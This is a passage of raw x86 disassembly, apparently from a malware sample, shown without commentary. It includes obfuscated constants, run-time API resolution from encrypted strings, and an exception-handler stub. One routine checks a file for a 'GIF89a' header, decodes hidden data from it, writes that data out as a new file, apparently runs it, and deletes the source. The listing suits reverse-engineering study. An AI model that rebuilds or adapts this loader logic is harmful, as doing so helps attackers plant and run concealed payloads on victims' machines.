		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+1B0h]
		mov	edi, eax
		movsx	eax, word ptr ds:10013150h
		add	eax, ds:100131ECh
		sub	eax, 10h
		cmp	edi, eax
		jnz	loc_41AFD0
		lea	eax, [ebp+var_10028]
		push	eax
		mov	eax, [ebp+var_10008]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+70h]
		mov	edi, eax
		mov	eax, ds:100130F8h
		add	eax, ds:10013110h
		sub	eax, 0Ch
		cmp	edi, eax
		jz	short loc_41AF64
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		jmp	short loc_41AFD0
; ---------------------------------------------------------------------------


loc_41AF64:				; CODE XREF: sub_41AD81+1D3j
		xor	ebx, ebx
		mov	eax, [ebp+var_10028]
		cmp	[ebp+var_10008], eax
		jz	short loc_41AF77
		xor	ebx, ebx
		inc	ebx


loc_41AF77:				; CODE XREF: sub_41AD81+1F1j
		mov	eax, [ebp+var_10008]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		mov	eax, [ebp+var_10028]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]
		or	ebx, ebx
		jnz	short loc_41AFD0
		lea	eax, [ebp+var_1002C]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	edx, [eax]
		call	dword ptr [edx+20h]
		mov	edi, eax
		mov	eax, ds:10013268h
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_41AFD0
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	nullsub_1
		push	[ebp+var_1002C]
		push	[ebp+var_4]
		call	sub_420477
		add	esp, 10h


loc_41AFD0:				; CODE XREF: sub_41AD81+1A8j
					; sub_41AD81+1E1j ...
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_41AFD9:				; CODE XREF: sub_41AD81+17Bj
		mov	eax, [ebp+var_10010]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_41AFE5:				; CODE XREF: sub_41AD81+C7j
					; sub_41AD81:loc_41AE9Cj ...
		push	esi
		mov	eax, [esi]
		call	dword ptr [eax+8]


loc_41AFEB:				; CODE XREF: sub_41AD81+2Aj
					; sub_41AD81+6Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AD81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFF0	proc near		; CODE XREF: sub_419F88+229p
					; sub_41B354+37Bp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		movsx	edi, word ptr ds:10013208h
		mov	eax, esi
		test	eax, eax
		jge	short loc_41B00F
		add	eax, 0FFh


loc_41B00F:				; CODE XREF: sub_41AFF0+18j
		sar	eax, 8
		mov	ebx, eax
		imul	ebx, ds:10013128h
		lea	edi, [edi+ebx+1Ah]
		mov	[ebp+var_8], edi
		mov	edi, ds:10013280h
		add	edi, 11h
		mov	eax, esi
		test	eax, eax
		jge	short loc_41B036
		add	eax, 0FFh


loc_41B036:				; CODE XREF: sub_41AFF0+3Fj
		sar	eax, 8
		mov	ebx, ds:10013270h
		add	ebx, 0Dh
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		mov	edi, ds:10013254h
		add	edi, 18h
		mov	eax, esi
		test	eax, eax
		jge	short loc_41B060
		add	eax, 0FFFFh


loc_41B060:				; CODE XREF: sub_41AFF0+69j
		sar	eax, 10h
		mov	ebx, ds:10013138h
		add	ebx, 17h
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_419767
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, ds:10013134h
		add	eax, ds:10013220h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41D699
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_419767
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, ds:100131A0h
		add	eax, 6Eh
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41D699
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_419767
		mov	ebx, eax
		mov	[ebp+var_14], bl
		mov	eax, ds:100131ACh
		add	eax, 2Ah
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41D699
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_419767
		mov	ebx, eax
		mov	[ebp+var_16], bl
		mov	eax, ds:1001314Ch
		add	eax, 40h
		movsx	edx, word ptr ds:10013100h
		add	eax, edx
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_41D699
		mov	ebx, eax
		mov	[ebp+var_17], bl
		movsx	eax, word ptr ds:10013240h
		add	eax, 41h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_419767
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		mov	esi, ds:1001319Ch
		add	esi, ds:1001312Ch
		sub	esi, 0Ch
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_41B1E4
		push	10014356h
		call	sub_41C914
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10012634h
		add	esp, 30h
		jmp	short loc_41B228
; ---------------------------------------------------------------------------


loc_41B1E4:				; CODE XREF: sub_41AFF0+1ACj
		push	1001433Bh
		call	sub_41C914
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword ptr ds:10012634h
		add	esp, 30h


loc_41B228:				; CODE XREF: sub_41AFF0+1F2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AFF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B22D	proc near		; CODE XREF: .data:0041F921p

var_7		= byte ptr -7
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	eax, ebx
		add	eax, 2
		mov	ecx, 3
		mov	edx, 0AAAAAAABh
		mul	edx
		shr	edx, 1
		mov	[ebp+var_4], edx
		mov	edi, edx
		shl	edi, 2
		mov	edx, [ebp+arg_C]
		dec	edx
		cmp	edi, edx
		jbe	short loc_41B2A0
		xor	eax, eax
		jmp	loc_41B34F
; ---------------------------------------------------------------------------


loc_41B265:				; CODE XREF: sub_41B22D+83j
		push	esi
		push	[ebp+arg_0]
		call	sub_41FD3F
		add	esp, 8
		mov	eax, ds:10013268h
		dec	eax
		sub	ebx, eax
		mov	eax, ds:10013274h
		add	eax, ds:10013278h
		add	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		movsx	eax, word ptr ds:10013208h
		movsx	edx, word ptr ds:10013144h
		add	eax, edx
		sub	eax, 7
		lea	esi, [esi+eax]


loc_41B2A0:				; CODE XREF: sub_41B22D+2Fj
		mov	eax, ds:1001312Ch
		add	eax, ds:100131A8h
		sub	eax, 7
		cmp	ebx, eax
		jnb	short loc_41B265
		movsx	eax, word ptr ds:100130E8h
		dec	eax
		cmp	ebx, eax
		jbe	short loc_41B32F
		push	3
		movsx	eax, word ptr ds:10013100h
		movsx	edx, word ptr ds:10013218h
		add	eax, edx
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10011644h
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_7]
		push	eax
		call	dword ptr ds:10011638h
		push	esi
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_41FD3F
		add	esp, 20h
		mov	eax, ds:1001317Ch
		movsx	edx, word ptr ds:1001327Ch
		add	eax, edx
		sub	eax, 6
		mov	byte ptr [esi+eax], 3Dh
		mov	eax, ds:1001312Ch
		sub	eax, 7
		cmp	ebx, eax
		jnz	short loc_41B324
		mov	eax, ds:10013274h
		inc	eax
		mov	byte ptr [esi+eax], 3Dh


loc_41B324:				; CODE XREF: sub_41B22D+EBj
		mov	eax, ds:1001312Ch
		sub	eax, 4
		lea	esi, [esi+eax]


loc_41B32F:				; CODE XREF: sub_41B22D+8Fj
		mov	eax, ds:10013238h
		movsx	edx, word ptr ds:100130A4h
		add	eax, edx
		sub	eax, 6
		mov	edx, ds:10013244h
		sub	edx, 4
		mov	[esi+eax], dl
		xor	eax, eax
		inc	eax


loc_41B34F:				; CODE XREF: sub_41B22D+33j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B22D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B354	proc near		; CODE XREF: sub_41BE82+22Ep
					; sub_41BE82+240p

var_61DA0	= dword	ptr -61DA0h
var_61D9C	= dword	ptr -61D9Ch
var_61D98	= byte ptr -61D98h
var_61C99	= byte ptr -61C99h
var_61C98	= dword	ptr -61C98h
var_61C91	= byte ptr -61C91h
var_30F51	= byte ptr -30F51h
var_30F50	= dword	ptr -30F50h
var_30F4B	= byte ptr -30F4Bh
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30E3E	= byte ptr -30E3Eh
var_30E3D	= byte ptr -30E3Dh
var_30E3C	= byte ptr -30E3Ch
var_30E3B	= byte ptr -30E3Bh
var_30E3A	= byte ptr -30E3Ah
var_30E15	= byte ptr -30E15h
var_30E14	= byte ptr -30E14h
var_30DC4	= byte ptr -30DC4h
var_30DBE	= byte ptr -30DBEh
var_30DBD	= byte ptr -30DBDh
var_30DBC	= byte ptr -30DBCh
var_30D4E	= byte ptr -30D4Eh
var_30D46	= byte ptr -30D46h
var_30D43	= byte ptr -30D43h
var_30D40	= byte ptr -30D40h
var_30D3F	= byte ptr -30D3Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 61DA0h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		and	[ebp+var_30F50], 0
		push	0
		mov	eax, ds:10013244h
		movsx	edx, word ptr ds:100130FCh
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	3
		push	0
		mov	eax, ds:10013094h
		sub	eax, 6
		push	eax
		push	80000000h
		push	[ebp+arg_0]
		call	dword ptr ds:10012788h
		mov	[ebp+var_30E48], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B7D4
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, ds:10013108h
		add	eax, 7Eh
		add	eax, ds:100130C8h
		push	eax
		lea	eax, [ebp+var_30E3F]
		push	eax
		push	[ebp+var_30E48]
		call	dword ptr ds:1000D028h
		mov	[ebp+var_30E44], eax
		movsx	eax, word ptr ds:1001316Ch
		dec	eax
		cmp	[ebp+var_30E44], eax
		jz	loc_41B7B6
		cmp	[ebp+var_30E3F], 47h
		jnz	short loc_41B427
		cmp	[ebp+var_30E3E], 49h
		jnz	short loc_41B427
		cmp	[ebp+var_30E3D], 46h
		jnz	short loc_41B427
		cmp	[ebp+var_30E3C], 38h
		jnz	short loc_41B427
		cmp	[ebp+var_30E3B], 39h
		jnz	short loc_41B427
		cmp	[ebp+var_30E3A], 61h
		jz	short loc_41B42C


loc_41B427:				; CODE XREF: sub_41B354+A4j
					; sub_41B354+ADj ...
		jmp	loc_41B7B6
; ---------------------------------------------------------------------------


loc_41B42C:				; CODE XREF: sub_41B354+D1j
		movzx	eax, [ebp+var_30E15]
		movsx	edx, word ptr ds:100131DCh
		mov	ecx, ds:10013164h
		lea	edx, [edx+ecx+36h]
		cmp	eax, edx
		jnz	short loc_41B45A
		cmp	[ebp+var_30DBE], 3Dh
		jnz	short loc_41B45A
		cmp	[ebp+var_30DBD], 3Dh
		jz	short loc_41B45F


loc_41B45A:				; CODE XREF: sub_41B354+F2j
					; sub_41B354+FBj
		jmp	loc_41B7B6
; ---------------------------------------------------------------------------


loc_41B45F:				; CODE XREF: sub_41B354+104j
		or	ebx, ebx
		jnz	short loc_41B48E
		mov	al, [ebp+var_30DBC]
		mov	[ebp+var_30F51], al
		call	sub_4211B3
		mov	edx, eax
		mov	[ebp+var_61C99], dl
		mov	al, [ebp+var_61C99]
		cmp	al, [ebp+var_30F51]
		jz	loc_41B7B6


loc_41B48E:				; CODE XREF: sub_41B354+10Dj
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	30D40h
		lea	eax, [ebp+var_61C91]
		push	eax
		push	[ebp+var_30E48]
		call	dword ptr ds:1000D028h
		mov	[ebp+var_30E44], eax
		mov	eax, ds:10013094h
		sub	eax, 6
		cmp	[ebp+var_30E44], eax
		jz	loc_41B7B6
		mov	eax, [ebp+var_30E4C]
		mov	edx, ds:10013110h
		add	edx, ds:10013268h
		sub	edx, 9
		mov	[ebp+eax+var_61C91], dl
		push	30D40h
		lea	eax, [ebp+var_30D40]
		push	eax
		lea	eax, [ebp+var_61C91]
		push	eax
		call	sub_418755
		add	esp, 0Ch
		mov	esi, eax
		mov	eax, ds:10013184h
		mov	edi, eax
		add	edi, ds:10013210h
		sub	edi, 3
		jmp	short loc_41B559
; ---------------------------------------------------------------------------


loc_41B514:				; CODE XREF: sub_41B354+207j
		or	ebx, ebx
		jz	short loc_41B52B
		movzx	eax, [ebp+edi+var_30D40]
		sub	eax, edi
		mov	[ebp+edi+var_30D40], al
		jmp	short loc_41B558
; ---------------------------------------------------------------------------


loc_41B52B:				; CODE XREF: sub_41B354+1C2j
		movzx	eax, [ebp+edi+var_30D40]
		mov	[ebp+var_61D9C], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_61DA0], eax
		mov	eax, [ebp+var_61D9C]
		mov	edx, [ebp+var_61DA0]
		sub	eax, edx
		mov	[ebp+edi+var_30D40], al


loc_41B558:				; CODE XREF: sub_41B354+1D5j
		inc	edi


loc_41B559:				; CODE XREF: sub_41B354+1BEj
		cmp	edi, esi
		jb	short loc_41B514
		or	ebx, ebx
		jz	short loc_41B57A
		mov	eax, ds:10013254h
		sub	eax, 8
		mov	edx, esi
		sub	edx, eax
		mov	eax, ds:10013274h
		dec	eax
		mov	[ebp+edx+var_30D40], al


loc_41B57A:				; CODE XREF: sub_41B354+20Bj
		movsx	eax, word ptr ds:10013104h
		mov	edx, ds:100130A0h
		movsx	ecx, word ptr ds:100130E8h
		add	edx, ecx
		sub	edx, 5
		mov	[ebp+eax+var_30DC4], dl
		push	0FFh
		lea	eax, [ebp+var_61D98]
		push	eax
		lea	eax, [ebp+var_30E14]
		push	eax
		call	sub_418755
		lea	eax, [ebp+var_61D98]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41C6CD
		add	esp, 18h
		mov	[ebp+var_30E44], eax
		mov	eax, ds:1001309Ch
		sub	eax, 5
		cmp	[ebp+var_30E44], eax
		jnz	loc_41B7B6
		mov	[ebp+var_30F50], 1
		or	ebx, ebx
		jz	loc_41B713
		mov	eax, ds:1001325Ch
		add	eax, ds:1001319Ch
		cmp	[ebp+eax+var_30D4E], 64h
		jnz	short loc_41B683
		movzx	eax, [ebp+var_30D3F]
		movsx	edx, word ptr ds:100131FCh
		add	edx, 1Bh
		sub	eax, edx
		mov	byte ptr [ebp+var_61D9C+3], al
		movzx	eax, byte ptr [ebp+var_61D9C+3]
		push	eax
		push	0
		call	sub_42091E
		mov	eax, ds:1001325Ch
		sub	eax, 8
		mov	ds:1000F620h, eax
		mov	eax, ds:100130ACh
		dec	eax
		mov	ds:10013350h, eax
		mov	eax, ds:10013148h
		movsx	edx, word ptr ds:100130C0h
		sub	edx, 2
		mov	[ebp+eax+var_30D40], dl
		movsx	eax, word ptr ds:1001316Ch
		movsx	edx, word ptr ds:100130D0h
		add	eax, edx
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41DCEB
		add	esp, 10h


loc_41B683:				; CODE XREF: sub_41B354+2B4j
		mov	eax, ds:100130A8h
		cmp	[ebp+eax+var_30D46], 67h
		jnz	loc_41B7B6
		movsx	eax, word ptr ds:10013144h
		movsx	edx, word ptr ds:100130D0h
		add	eax, edx
		mov	edx, ds:10013128h
		sub	edx, 9
		mov	[ebp+eax+var_30D43], dl
		lea	eax, [ebp+var_30D3F]
		push	eax
		call	dword ptr ds:1000D054h
		mov	[ebp+var_61D9C], eax
		push	eax
		push	10012670h
		call	sub_41AFF0
		mov	eax, ds:100130F0h
		dec	eax
		mov	ds:1000F620h, eax
		movsx	eax, word ptr ds:100130FCh
		sub	eax, 6
		mov	ds:10013350h, eax
		movsx	eax, word ptr ds:10013144h
		add	eax, ds:10013204h
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_41DCEB
		add	esp, 14h
		jmp	loc_41B7B6
; ---------------------------------------------------------------------------


loc_41B713:				; CODE XREF: sub_41B354+29Bj
		movsx	eax, word ptr ds:10013098h
		add	eax, 5
		push	eax
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	sub_41F760
		push	10014333h
		call	sub_41C914
		push	eax
		lea	edx, [ebp+var_30F4B]
		push	edx
		call	dword ptr ds:1000D020h
		push	0
		push	80h
		push	2
		push	0
		mov	eax, ds:10013090h
		sub	eax, 3
		push	eax
		push	40000000h
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	dword ptr ds:10012788h
		mov	[ebp+var_61C98], eax
		push	0
		lea	eax, [ebp+var_30E4C]
		push	eax
		push	esi
		lea	eax, [ebp+var_30D40]
		push	eax
		push	[ebp+var_61C98]
		call	dword ptr ds:10012B8Ch
		push	[ebp+var_61C98]
		call	dword ptr ds:10011654h
		push	5
		lea	eax, [ebp+var_30F4B]
		push	eax
		call	dword ptr ds:1000F0E0h
		movzx	eax, [ebp+var_30F51]
		push	eax
		call	sub_41BD8F
		add	esp, 18h


loc_41B7B6:				; CODE XREF: sub_41B354+97j
					; sub_41B354:loc_41B427j ...
		push	[ebp+var_30E48]
		call	dword ptr ds:10011654h
		cmp	[ebp+var_30F50], 0
		jz	short loc_41B7D4
		push	[ebp+arg_0]
		call	dword ptr ds:1000D008h


loc_41B7D4:				; CODE XREF: sub_41B354+52j
					; sub_41B354+475j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B354	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D9	proc near		; CODE XREF: .data:0041F02Dp
		push	edi
		push	10014326h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132A4h, eax
		test	eax, eax
		jnz	short loc_41B80C
		push	10014319h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132A4h, eax


loc_41B80C:				; CODE XREF: sub_41B7D9+1Aj
		push	10014306h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A4h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012BB4h, eax
		push	100142F2h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A4h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F624h, eax
		push	100142E2h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A4h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F0D0h, eax
		push	100142D0h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A4h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000F0D8h, eax
		push	100142C1h
		call	sub_41C914
		add	esp, 14h
		push	eax
		push	dword ptr ds:100132A4h
		call	dword ptr ds:1000F1F8h
		mov	ds:10012648h, eax
		pop	edi
		retn
sub_41B7D9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		mov	esi, [ebp+10h]
		mov	eax, 10004A5Ch
		mov	[esi+0B8h], eax
		mov	eax, [ebp+0Ch]
		mov	[esi+0C4h], eax
		popa
		mov	esp, ebp
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41B8C0	proc near		; CODE XREF: .data:0041F028p
		push	edi
		push	100142B4h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:1000F5E8h
		mov	ds:100132A0h, eax
		test	eax, eax
		jnz	short loc_41B8F3
		push	100142A7h
		call	sub_41C914
		pop	ecx
		push	eax
		call	dword ptr ds:10010244h
		mov	ds:100132A0h, eax


loc_41B8F3:				; CODE XREF: sub_41B8C0+1Aj
		push	10014298h
		call	sub_41C914
		push	eax
		push	dword ptr ds:100132A0h
		call	dword ptr ds:1000F1F8h
		mov	ds:10010250h, eax
		push	10014286h
		call	sub_41C914
		add	esp, 8
		push	eax
		push	dword ptr ds:100132A0h
		call	dword ptr ds:1000F1F8h
		mov	ds:1000E120h, eax
		pop	edi
		retn
sub_41B8C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B930	proc near		; CODE XREF: sub_420477+142p

var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_423379
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:100131F4h
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_FFF]
		push	eax
		call	sub_42091E
		add	esp, 8
		movsx	edi, word ptr ds:10013100h
		sub	edi, 3
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------


loc_41B964:				; CODE XREF: sub_41B930+54j
		cmp	[ebp+edi+var_FFF], 23h
		jnz	short loc_41B97D
		mov	eax, ds:10013288h
		sub	eax, 6
		mov	[ebp+edi+var_FFF], al


loc_41B97D:				; CODE XREF: sub_41B930+3Cj
		inc	edi


loc_41B97E:				; CODE XREF: sub_41B930+32j
		cmp	edi, 0FFFh
		jb	short loc_41B964
		lea	esi, [ebp+var_FFF]


loc_41B98C:				; CODE XREF: sub_41B930+ECj
		push	10014282h
		call	sub_41C914
		push	1000E020h
		mov	ebx, ds:10013134h
		movsx	edx, word ptr ds:100130B0h
		add	ebx, edx
		sub	ebx, 0Fh
		push	ebx
		mov	ebx, ds:1001320Ch
		movsx	edx, word ptr ds:10013250h
		add	ebx, edx
		sub	ebx, 7
		push	ebx
		push	eax
		mov	ebx, ds:10013224h
		sub	ebx, 5
		push	ebx
		push	0
		push	esi
		push	[ebp+arg_0]
		mov	ebx, ds:100131D4h
		add	ebx, ds:100131C4h
		sub	ebx, 5
		and	ebx, 0FFh
		push	ebx
		call	sub_41D465
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_41B9F5:				; CODE XREF: sub_41B930+CAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41B9F5
		movsx	edx, word ptr ds:100131E0h
		sub	edx, 2
		mov	ebx, eax
		add	ebx, esi
		mov	esi, edx
		add	esi, ebx
		movsx	eax, byte ptr [esi]
		mov	edx, ds:1001325Ch
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_41B98C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B930	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 80004001h
		db 0C2h, 10h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA2F	proc near		; CODE XREF: sub_420477+1A1p
					; sub_420477+1C2p

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	dword ptr ds:10012770h
		mov	[ebp+var_8], eax
		mov	esi, ds:10013140h
		sub	esi, 9
		jmp	short loc_41BA96
; ---------------------------------------------------------------------------


loc_41BA4F:				; CODE XREF: sub_41BA2F+79j
		cmp	dword ptr ds:1000E130h[esi*4], 0
		jz	short loc_41BA95
		mov	edx, ds:10011660h[esi*4]
		mov	ecx, ds:100130C8h
		add	ecx, 0EA5Fh
		movsx	eax, word ptr ds:100130E8h
		add	ecx, eax
		mov	eax, ds:100130A8h
		add	eax, ds:100131E8h
		sub	eax, 2
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_8]
		jnb	short loc_41BA95
		and	dword ptr ds:1000E130h[esi*4], 0


loc_41BA95:				; CODE XREF: sub_41BA2F+28j
					; sub_41BA2F+5Cj
		inc	esi


loc_41BA96:				; CODE XREF: sub_41BA2F+1Ej
		mov	eax, ds:100130F0h
		add	eax, 3E4h
		add	eax, ds:1001313Ch
		cmp	esi, eax
		jb	short loc_41BA4F


loc_41BAAA:				; CODE XREF: sub_41BA2F+99j
					; sub_41BA2F+281j
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_41BCB6
		mov	eax, ds:10013244h
		cmp	[ebp+var_14], eax
		ja	short loc_41BAAA
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_41BACF:				; CODE XREF: sub_41BA2F+A5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41BACF
		mov	[ebp+var_10], eax
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		movsx	edx, word ptr ds:10013264h
		add	edx, ds:10013204h
		sub	edx, 6
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	[ebp+var_1], 44h
		mov	eax, ds:10013204h
		sub	eax, 1
		cmp	byte ptr [ebx+eax], 2Ah
		jnz	short loc_41BB09
		mov	[ebp+var_1], 43h


loc_41BB09:				; CODE XREF: sub_41BA2F+D4j
		mov	edi, ds:100130ECh
		sub	edi, 4
		jmp	short loc_41BB3B
; ---------------------------------------------------------------------------


loc_41BB14:				; CODE XREF: sub_41BA2F+121j
		cmp	dword ptr ds:1000E130h[edi*4], 0
		jz	short loc_41BB3A
		mov	edx, [ebp+var_C]
		cmp	ds:1000D060h[edi*4], edx
		jnz	short loc_41BB3A
		mov	dl, ds:1000F200h[edi]
		cmp	dl, [ebp+var_1]
		jz	loc_41BC95


loc_41BB3A:				; CODE XREF: sub_41BA2F+EDj
					; sub_41BA2F+F9j
		inc	edi


loc_41BB3B:				; CODE XREF: sub_41BA2F+E3j
		mov	eax, ds:10013194h
		add	eax, 3D9h
		movsx	edx, word ptr ds:100130FCh
		add	eax, edx
		cmp	edi, eax
		jb	short loc_41BB14
		mov	eax, ds:10013168h
		add	eax, 3BEh
		movsx	edx, word ptr ds:10013260h
		add	eax, edx
		cmp	[ebp+var_10], eax
		jbe	loc_41BC3E
		mov	eax, ds:100130F8h
		add	eax, 7
		movsx	edx, word ptr ds:1001316Ch
		add	eax, edx
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_41F760
		add	esp, 8
		mov	eax, ds:100130ACh
		add	eax, 3BFh
		mov	[ebp+var_18], eax
		movsx	eax, word ptr ds:100130FCh
		add	eax, ds:100131F8h
		sub	eax, 9
		mov	[ebp+var_1C], eax


loc_41BBAC:				; CODE XREF: sub_41BA2F+20Aj
